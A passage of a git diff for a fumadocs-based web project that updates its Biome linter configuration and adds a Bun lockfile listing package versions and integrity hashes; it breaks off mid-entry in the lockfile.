{ params.append(key, String(value)); } diff --git a/web/biome.json b/web/biome.json index 8b90fb0e..976a72d1 100644 --- a/web/biome.json +++ b/web/biome.json @@ -1,22 +1,13 @@ { - "$schema": "https://biomejs.dev/schemas/2.1.4/schema.json", + "$schema": "https://biomejs.dev/schemas/2.3.8/schema.json", "vcs": { - "enabled": false, + "enabled": true, "clientKind": "git", - "useIgnoreFile": false + "useIgnoreFile": true }, "files": { - "ignoreUnknown": false, - "includes": [ - "**", - "!**/node_modules", - "!**/.next", - "!**/dist", - "!**/.turbo", - "!**/.source", - "!**/convex/_generated", - "!**/components/ui" - ] + "ignoreUnknown": true, + "includes": ["**", "!node_modules", "!.source"] }, "formatter": { "enabled": true, @@ -28,15 +19,23 @@ "rules": { "recommended": true, "suspicious": { - "noFallthroughSwitchClause": "off", "noExplicitAny": "off" } + }, + "domains": { + "react": "recommended" + } + }, + "assist": { + "actions": { + "source": { + "organizeImports": "on" + } } }, - "assist": { "actions": { "source": { "organizeImports": "on" } } }, - "javascript": { - "formatter": { - "quoteStyle": "double" + "css": { + "parser": { + "tailwindDirectives": true } } } diff --git a/web/bun.lock b/web/bun.lock new file mode 100644 index 00000000..433e1447 --- /dev/null +++ b/web/bun.lock @@ -0,0 +1,1448 @@ +{ + "lockfileVersion": 1, + "configVersion": 1, + "workspaces": { + "": { + "name": "fumadocs", + "dependencies": { + "@hookform/resolvers": "^5.2.2", + "@orama/orama": "^3.1.16", + "@orama/stopwords": "^3.1.16", + "@orama/tokenizers": "^3.1.16", + "@react-router/node": "^7.10.1", + "@tanstack/react-query": "^5.90.12", + "class-variance-authority": "^0.7.1", + "clsx": "^2.1.1", + "framer-motion": "^12.23.25", + "fumadocs-core": "16.2.3", + "fumadocs-mdx": "14.1.0", + "fumadocs-ui": "16.2.3", + "i18next": "^25.7.1", + "isbot": "^5.1.32", + "lucide-react": "^0.556.0", + "motion": "^12.23.25", + "radix-ui": "^1.4.3", + "react": "^19.2.1", + "react-copy-to-clipboard": "^5.1.0", + "react-dom": "^19.2.1", + "react-hook-form": "^7.68.0", + "react-i18next": "^16.4.0", + "react-syntax-highlighter": "^16.1.0", + "sonner": "^2.0.7", + "tailwind-merge": "^3.4.0", + "tw-animate-css": "^1.4.0", + "yup": "^1.7.1", + }, + "devDependencies": { + "@biomejs/biome": "^2.3.8", + "@react-router/dev": "^7.10.1", + "@tailwindcss/vite": "^4.1.17", + "@types/mdx": "^2.0.13", + "@types/node": "^24.10.1", + "@types/react": "^19.2.7", + "@types/react-copy-to-clipboard": "^5.0.7", + "@types/react-dom": "^19.2.3", + "@types/react-syntax-highlighter": "^15.5.13", + "react-router-devtools": "^6.0.0", + "rimraf": "^6.1.2", + "serve": "^14.2.5", + "tailwindcss": "^4.1.17", + "typescript": "^5.9.3", + "vite": "^7.2.6", + "vite-plugin-devtools-json": "^1.0.0", + "vite-tsconfig-paths": "^5.1.4", + }, + }, + }, + "packages": { + "@babel/code-frame": ["@babel/code-frame@7.27.1", "", { "dependencies": { "@babel/helper-validator-identifier": "^7.27.1", "js-tokens": "^4.0.0", "picocolors": "^1.1.1" } }, "sha512-cjQ7ZlQ0Mv3b47hABuTevyTuYN4i+loJKGeV9flcCgIK37cCXRh+L1bd3iBHlynerhQ7BhCkn2BPbQUL+rGqFg=="], + + "@babel/compat-data": ["@babel/compat-data@7.28.5", "", {}, "sha512-6uFXyCayocRbqhZOB+6XcuZbkMNimwfVGFji8CTZnCzOHVGvDqzvitu1re2AU5LROliz7eQPhB8CpAMvnx9EjA=="], + + "@babel/core": ["@babel/core@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-module-transforms": "^7.28.3", "@babel/helpers": "^7.28.4", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/remapping": "^2.3.5", "convert-source-map": "^2.0.0", "debug": "^4.1.0", "gensync": "^1.0.0-beta.2", "json5": "^2.2.3", "semver": "^6.3.1" } }, "sha512-e7jT4DxYvIDLk1ZHmU/m/mB19rex9sv0c2ftBtjSBv+kVM/902eh0fINUzD7UwLLNR+jU585GxUJ8/EBfAM5fw=="], + + "@babel/generator": ["@babel/generator@7.28.5", "", { "dependencies": { "@babel/parser": "^7.28.5", "@babel/types": "^7.28.5", "@jridgewell/gen-mapping": "^0.3.12", "@jridgewell/trace-mapping": "^0.3.28", "jsesc": "^3.0.2" } }, "sha512-3EwLFhZ38J4VyIP6WNtt2kUdW9dokXA9Cr4IVIFHuCpZ3H8/YFOl5JjZHisrn1fATPBmKKqXzDFvh9fUwHz6CQ=="], + + "@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="], + + "@babel/helper-compilation-targets": ["@babel/helper-compilation-targets@7.27.2", "", { "dependencies": { "@babel/compat-data": "^7.27.2", "@babel/helper-validator-option": "^7.27.1", "browserslist": "^4.24.0", "lru-cache": "^5.1.1", "semver": "^6.3.1" } }, "sha512-2+1thGUUWWjLTYTHZWK1n8Yga0ijBz1XAhUXcKy81rd5g6yh7hGqMp45v7cadSbEHc9G3OTv45SyneRN3ps4DQ=="], + + "@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="], + + "@babel/helper-globals": ["@babel/helper-globals@7.28.0", "", {}, "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw=="], + + "@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="], + + "@babel/helper-module-imports": ["@babel/helper-module-imports@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-0gSFWUPNXNopqtIPQvlD5WgXYI5GY2kP2cCvoT8kczjbfcfuIljTbcWrulD1CIPIX2gt1wghbDy08yE1p+/r3w=="], + + "@babel/helper-module-transforms": ["@babel/helper-module-transforms@7.28.3", "", { "dependencies": { "@babel/helper-module-imports": "^7.27.1", "@babel/helper-validator-identifier": "^7.27.1", "@babel/traverse": "^7.28.3" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-gytXUbs8k2sXS9PnQptz5o0QnpLL51SwASIORY6XaBKF88nsOT0Zw9szLqlSGQDP/4TljBAD5y98p2U1fqkdsw=="], + + "@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="], + + "@babel/helper-plugin-utils": ["@babel/helper-plugin-utils@7.27.1", "", {}, "sha512-1gn1Up5YXka3YYAHGKpbideQ5Yjf1tDa9qYcgysz+cNCXukyLl6DjPXhD3VRwSb8c0J9tA4b2+rHEZtc6R0tlw=="], + + "@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="], + + "@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="], + + "@babel/helper-string-parser": ["@babel/helper-string-parser@7.27.1", "", {}, "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA=="], + + "@babel/helper-validator-identifier": ["@babel/helper-validator-identifier@7.28.5", "", {}, "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q=="], + + "@babel/helper-validator-option": ["@babel/helper-validator-option@7.27.1", "", {}, "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg=="], + + "@babel/helpers": ["@babel/helpers@7.28.4", "", { "dependencies": { "@babel/template": "^7.27.2", "@babel/types": "^7.28.4" } }, "sha512-HFN59MmQXGHVyYadKLVumYsA9dBFun/ldYxipEjzA4196jpLZd8UjEEBLkbEkvfYreDqJhZxYAWFPtrfhNpj4w=="], + + "@babel/parser": ["@babel/parser@7.28.5", "", { "dependencies": { "@babel/types": "^7.28.5" }, "bin": "./bin/babel-parser.js" }, "sha512-KKBU1VGYR7ORr3At5HAtUQ+TV3SzRCXmA/8OdDZiLDBIZxVyzXuztPjfLd3BV1PRAQGCMWWSHYhL0F8d5uHBDQ=="], + + "@babel/plugin-syntax-jsx": ["@babel/plugin-syntax-jsx@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-y8YTNIeKoyhGd9O0Jiyzyyqk8gdjnumGTQPsz0xOZOQ2RmkVJeZ1vmmfIvFEKqucBG6axJGBZDE/7iI5suUI/w=="], + + "@babel/plugin-syntax-typescript": ["@babel/plugin-syntax-typescript@7.27.1", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-xfYCBMxveHrRMnAWl1ZlPXOZjzkN82THFvLhQhFXFt81Z5HnN+EtUkZhv/zcKpmT3fzmWZB0ywiBrbC3vogbwQ=="], + + "@babel/plugin-transform-modules-commonjs": ["@babel/plugin-transform-modules-commonjs@7.27.1", "", { "dependencies": { "@babel/helper-module-transforms": "^7.27.1", "@babel/helper-plugin-utils": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw=="], + + "@babel/plugin-transform-typescript": ["@babel/plugin-transform-typescript@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-create-class-features-plugin": "^7.28.5", "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/plugin-syntax-typescript": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-x2Qa+v/CuEoX7Dr31iAfr0IhInrVOWZU/2vJMJ00FOR/2nM0BcBEclpaf9sWCDc+v5e9dMrhSH8/atq/kX7+bA=="], + + "@babel/preset-typescript": ["@babel/preset-typescript@7.28.5", "", { "dependencies": { "@babel/helper-plugin-utils": "^7.27.1", "@babel/helper-validator-option": "^7.27.1", "@babel/plugin-syntax-jsx": "^7.27.1", "@babel/plugin-transform-modules-commonjs": "^7.27.1", "@babel/plugin-transform-typescript": "^7.28.5" }, "peerDependencies": { "@babel/core": "^7.0.0-0" } }, "sha512-+bQy5WOI2V6LJZpPVxY+yp66XdZ2yifu0Mc1aP5CQKgjn4QM5IN2i5fAZ4xKop47pr8rpVhiAeu+nDQa12C8+g=="], + + "@babel/runtime": ["@babel/runtime@7.28.4", "", {}, "sha512-Q/N6JNWvIvPnLDvjlE1OUBLPQHH6l3CltCEsHIujp45zQUSSh8K+gHnaEX45yAT1nyngnINhvWtzN+Nb9D8RAQ=="], + + "@babel/template": ["@babel/template@7.27.2", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/parser": "^7.27.2", "@babel/types": "^7.27.1" } }, "sha512-LPDZ85aEJyYSd18/DkjNh4/y1ntkE5KwUHWTiqgRxruuZL2F1yuHligVHLvcHY2vMHXttKFpJn6LwfI7cw7ODw=="], + + "@babel/traverse": ["@babel/traverse@7.28.5", "", { "dependencies": { "@babel/code-frame": "^7.27.1", "@babel/generator": "^7.28.5", "@babel/helper-globals": "^7.28.0", "@babel/parser": "^7.28.5", "@babel/template": "^7.27.2", "@babel/types": "^7.28.5", "debug": "^4.3.1" } }, "sha512-TCCj4t55U90khlYkVV/0TfkJkAkUg3jZFA3Neb7unZT8CPok7iiRfaX0F+WnqWqt7OxhOn0uBKXCw4lbL8W0aQ=="], + + "@babel/types": ["@babel/types@7.28.5", "", { "dependencies": { "@babel/helper-string-parser": "^7.27.1", "@babel/helper-validator-identifier": "^7.28.5" } }, "sha512-qQ5m48eI/MFLQ5PxQj4PFaprjyCTLI37ElWMmNs0K8Lk3dVeOdNpB3ks8jc7yM5CDmVC73eMVk/trk3fgmrUpA=="], + + "@biomejs/biome": ["@biomejs/biome@2.3.8", "", { "optionalDependencies": { "@biomejs/cli-darwin-arm64": "2.3.8", "@biomejs/cli-darwin-x64": "2.3.8", "@biomejs/cli-linux-arm64": "2.3.8", "@biomejs/cli-linux-arm64-musl": "2.3.8", "@biomejs/cli-linux-x64": "2.3.8", "@biomejs/cli-linux-x64-musl": "2.3.8", "@biomejs/cli-win32-arm64": "2.3.8", "@biomejs/cli-win32-x64": "2.3.8" }, "bin": { "biome": "bin/biome" } }, "sha512-Qjsgoe6FEBxWAUzwFGFrB+1+M8y/y5kwmg5CHac+GSVOdmOIqsAiXM5QMVGZJ1eCUCLlPZtq4aFAQ0eawEUuUA=="], + + "@biomejs/cli-darwin-arm64": ["@biomejs/cli-darwin-arm64@2.3.8", "", { "os": "darwin", "cpu": "arm64" }, "sha512-HM4Zg9CGQ3txTPflxD19n8MFPrmUAjaC7PQdLkugeeC0cQ+PiVrd7i09gaBS/11QKsTDBJhVg85CEIK9f50Qww=="], + + "@biomejs/cli-darwin-x64": ["@biomejs/cli-darwin-x64@2.3.8", "", { "os": "darwin", "cpu": "x64" }, "sha512-lUDQ03D7y/qEao7RgdjWVGCu+BLYadhKTm40HkpJIi6kn8LSv5PAwRlew/DmwP4YZ9ke9XXoTIQDO1vAnbRZlA=="], + + "@biomejs/cli-linux-arm64": ["@biomejs/cli-linux-arm64@2.3.8", "", { "os": "linux", "cpu": "arm64" }, "sha512-Uo1OJnIkJgSgF+USx970fsM/drtPcQ39I+JO+Fjsaa9ZdCN1oysQmy6oAGbyESlouz+rzEckLTF6DS7cWse95g=="], + + "@biomejs/cli-linux-arm64-musl": ["@biomejs/cli-linux-arm64-musl@2.3.8", "", { "os": "linux", "cpu": "arm64" }, "sha512-PShR4mM0sjksUMyxbyPNMxoKFPVF48fU8Qe8Sfx6w6F42verbwRLbz+QiKNiDPRJwUoMG1nPM50OBL3aOnTevA=="], + + "@biomejs/cli-linux-x64": ["@biomejs/cli-linux-x64@2.3.8", "", { "os": "linux", "cpu": "x64" }, "sha512-QDPMD5bQz6qOVb3kiBui0zKZXASLo0NIQ9JVJio5RveBEFgDgsvJFUvZIbMbUZT3T00M/1wdzwWXk4GIh0KaAw=="], + + "@biomejs/cli-linux-x64-musl": ["@biomejs/cli-linux-x64-musl@2.3.8", "", { "os": "linux", "cpu": "x64" }, "sha512-YGLkqU91r1276uwSjiUD/xaVikdxgV1QpsicT0bIA1TaieM6E5ibMZeSyjQ/izBn4tKQthUSsVZacmoJfa3pDA=="], + + "@biomejs/cli-win32-arm64": ["@biomejs/cli-win32-arm64@2.3.8", "", { "os": "win32", "cpu": "arm64" }, "sha512-H4IoCHvL1fXKDrTALeTKMiE7GGWFAraDwBYFquE/L/5r1927Te0mYIGseXi4F+lrrwhSWbSGt5qPFswNoBaCxg=="], + + "@biomejs/cli-win32-x64": ["@biomejs/cli-win32-x64@2.3.8", "", { "os": "win32", "cpu": "x64" }, "sha512-RguzimPoZWtBapfKhKjcWXBVI91tiSprqdBYu7tWhgN8pKRZhw24rFeNZTNf6UiBfjCYCi9eFQs/JzJZIhuK4w=="], + + "@bkrem/react-transition-group": ["@bkrem/react-transition-group@1.3.5", "", { "dependencies": { "chain-function": "^1.0.0", "dom-helpers": "^3.3.1", "loose-envify": "^1.3.1", "prop-types": "^15.5.6", "react-lifecycles-compat": "^3.0.4", "warning": "^3.0.0" }, "peerDependencies": { "react": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0", "react-dom": "^15.0.0 || ^16.0.0 || ^17.0.0 || ^18.0.0 || ^19.0.0" } }, "sha512-lbBYhC42sxAeFEopxzd9oWdkkV0zirO5E9WyeOBxOrpXsf7m30Aj8vnbayZxFOwD9pvUQ2Pheb1gO79s0Qap3Q=="], + + "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.25.12", "", { "os": "aix", "cpu": "ppc64" }, "sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA=="], + + "@esbuild/android-arm": ["@esbuild/android-arm@0.25.12", "", { "os": "android", "cpu": "arm" }, "sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg=="], + + "@esbuild/android-arm64": ["@esbuild/android-arm64@0.25.12", "", { "os": "android", "cpu": "arm64" }, "sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg=="], + + "@esbuild/android-x64": ["@esbuild/android-x64@0.25.12", "", { "os": "android", "cpu": "x64" }, "sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg=="], + + "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.25.12", "", { "os": "darwin", "cpu": "arm64" }, "sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg=="], + + "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.25.12", "", { "os": "darwin", "cpu": "x64" }, "sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA=="], + + "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.25.12", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg=="], + + "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.25.12", "", { "os": "freebsd", "cpu": "x64" }, "sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ=="], + + "@esbuild/linux-arm": ["@esbuild/linux-arm@0.25.12", "", { "os": "linux", "cpu": "arm" }, "sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw=="], + + "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.25.12", "", { "os": "linux", "cpu": "arm64" }, "sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ=="], + + "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.25.12", "", { "os": "linux", "cpu": "ia32" }, "sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA=="], + + "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng=="], + + "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw=="], + + "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.25.12", "", { "os": "linux", "cpu": "ppc64" }, "sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA=="], + + "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.25.12", "", { "os": "linux", "cpu": "none" }, "sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w=="], + + "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.25.12", "", { "os": "linux", "cpu": "s390x" }, "sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg=="], + + "@esbuild/linux-x64": ["@esbuild/linux-x64@0.25.12", "", { "os": "linux", "cpu": "x64" }, "sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw=="], + + "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.25.12", "", { "os": "none", "cpu": "arm64" }, "sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg=="], + + "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.25.12", "", { "os": "none", "cpu": "x64" }, "sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ=="], + + "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.25.12", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A=="], + + "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.25.12", "", { "os": "openbsd", "cpu": "x64" }, "sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw=="], + + "@esbuild/openharmony-arm64": ["@esbuild/openharmony-arm64@0.25.12", "", { "os": "none", "cpu": "arm64" }, "sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg=="], + + "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.25.12", "", { "os": "sunos", "cpu": "x64" }, "sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w=="], + + "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.25.12", "", { "os": "win32", "cpu": "arm64" }, "sha512-rMmLrur64A7+DKlnSuwqUdRKyd3UE7oPJZmnljqEptesKM8wx9J8gx5u0+9Pq0fQQW8vqeKebwNXdfOyP+8Bsg=="], + + "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.12", "", { "os": "win32", "cpu": "ia32" }, "sha512-HkqnmmBoCbCwxUKKNPBixiWDGCpQGVsrQfJoVGYLPT41XWF8lHuE5N6WhVia2n4o5QK5M4tYr21827fNhi4byQ=="], + + "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.12", "", { "os": "win32", "cpu": "x64" }, "sha512-alJC0uCZpTFrSL0CCDjcgleBXPnCrEAhTBILpeAp7M/OFgoqtAetfBzX0xM00MUsVVPpVjlPuMbREqnZCXaTnA=="], + + "@floating-ui/core": ["@floating-ui/core@1.7.3", "", { "dependencies": { "@floating-ui/utils": "^0.2.10" } }, "sha512-sGnvb5dmrJaKEZ+LDIpguvdX3bDlEllmv4/ClQ9awcmCZrlx5jQyyMWFM5kBI+EyNOCDDiKk8il0zeuX3Zlg/w=="], + + "@floating-ui/dom": ["@floating-ui/dom@1.7.4", "", { "dependencies": { "@floating-ui/core": "^1.7.3", "@floating-ui/utils": "^0.2.10" } }, "sha512-OOchDgh4F2CchOX94cRVqhvy7b3AFb+/rQXyswmzmGakRfkMgoWVjfnLWkRirfLEfuD4ysVW16eXzwt3jHIzKA=="], + + "@floating-ui/react-dom": ["@floating-ui/react-dom@2.1.6", "", { "dependencies": { "@floating-ui/dom": "^1.7.4" }, "peerDependencies": { "react": ">=16.8.0", "react-dom": ">=16.8.0" } }, "sha512-4JX6rEatQEvlmgU80wZyq9RT96HZJa88q8hp0pBd+LrczeDI4o6uA2M+uvxngVHo4Ihr8uibXxH6+70zhAFrVw=="], + + "@floating-ui/utils": ["@floating-ui/utils@0.2.10", "", {}, "sha512-aGTxbpbg8/b5JfU1HXSrbH3wXZuLPJcNEcZQFMxLs3oSzgtVu6nFPkbbGGUvBcUjKV2YyB9Wxxabo+HEH9tcRQ=="], + + "@formatjs/intl-localematcher": ["@formatjs/intl-localematcher@0.6.2", "", { "dependencies": { "tslib": "^2.8.0" } }, "sha512-XOMO2Hupl0wdd172Y06h6kLpBz6Dv+J4okPLl4LPtzbr8f66WbIoy4ev98EBuZ6ZK4h5ydTN6XneT4QVpD7cdA=="], + + "@hookform/resolvers": ["@hookform/resolvers@5.2.2", "", { "dependencies": { "@standard-schema/utils": "^0.3.0" }, "peerDependencies": { "react-hook-form": "^7.55.0" } }, "sha512-A/IxlMLShx3KjV/HeTcTfaMxdwy690+L/ZADoeaTltLx+CVuzkeVIPuybK3jrRfw7YZnmdKsVVHAlEPIAEUNlA=="], + + "@isaacs/balanced-match": ["@isaacs/balanced-match@4.0.1", "", {}, "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ=="], + + "@isaacs/brace-expansion": ["@isaacs/brace-expansion@5.0.0", "", { "dependencies": { "@isaacs/balanced-match": "^4.0.1" } }, "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA=="], + + "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], + + "@jridgewell/remapping": ["@jridgewell/remapping@2.3.5", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ=="], + + "@jridgewell/resolve-uri": ["@jridgewell/resolve-uri@3.1.2", "", {}, "sha512-bRISgCIjP20/tbWSPWMEi54QVPRZExkuD9lJL+UIxUKtwVJA8wW1Trb1jMs1RFXo1CBTNZ/5hpC9QvmKWdopKw=="], + + "@jridgewell/sourcemap-codec": ["@jridgewell/sourcemap-codec@1.5.5", "", {}, "sha512-cYQ9310grqxueWbl+WuIUIaiUaDcj7WOq5fVhEljNVgRfOUhY9fy2zTvfoqWsnebh8Sl70VScFbICvJnLKB0Og=="], + + "@jridgewell/trace-mapping": ["@jridgewell/trace-mapping@0.3.31", "", { "dependencies": { "@jridgewell/resolve-uri": "^3.1.0", "@jridgewell/sourcemap-codec": "^1.4.14" } }, 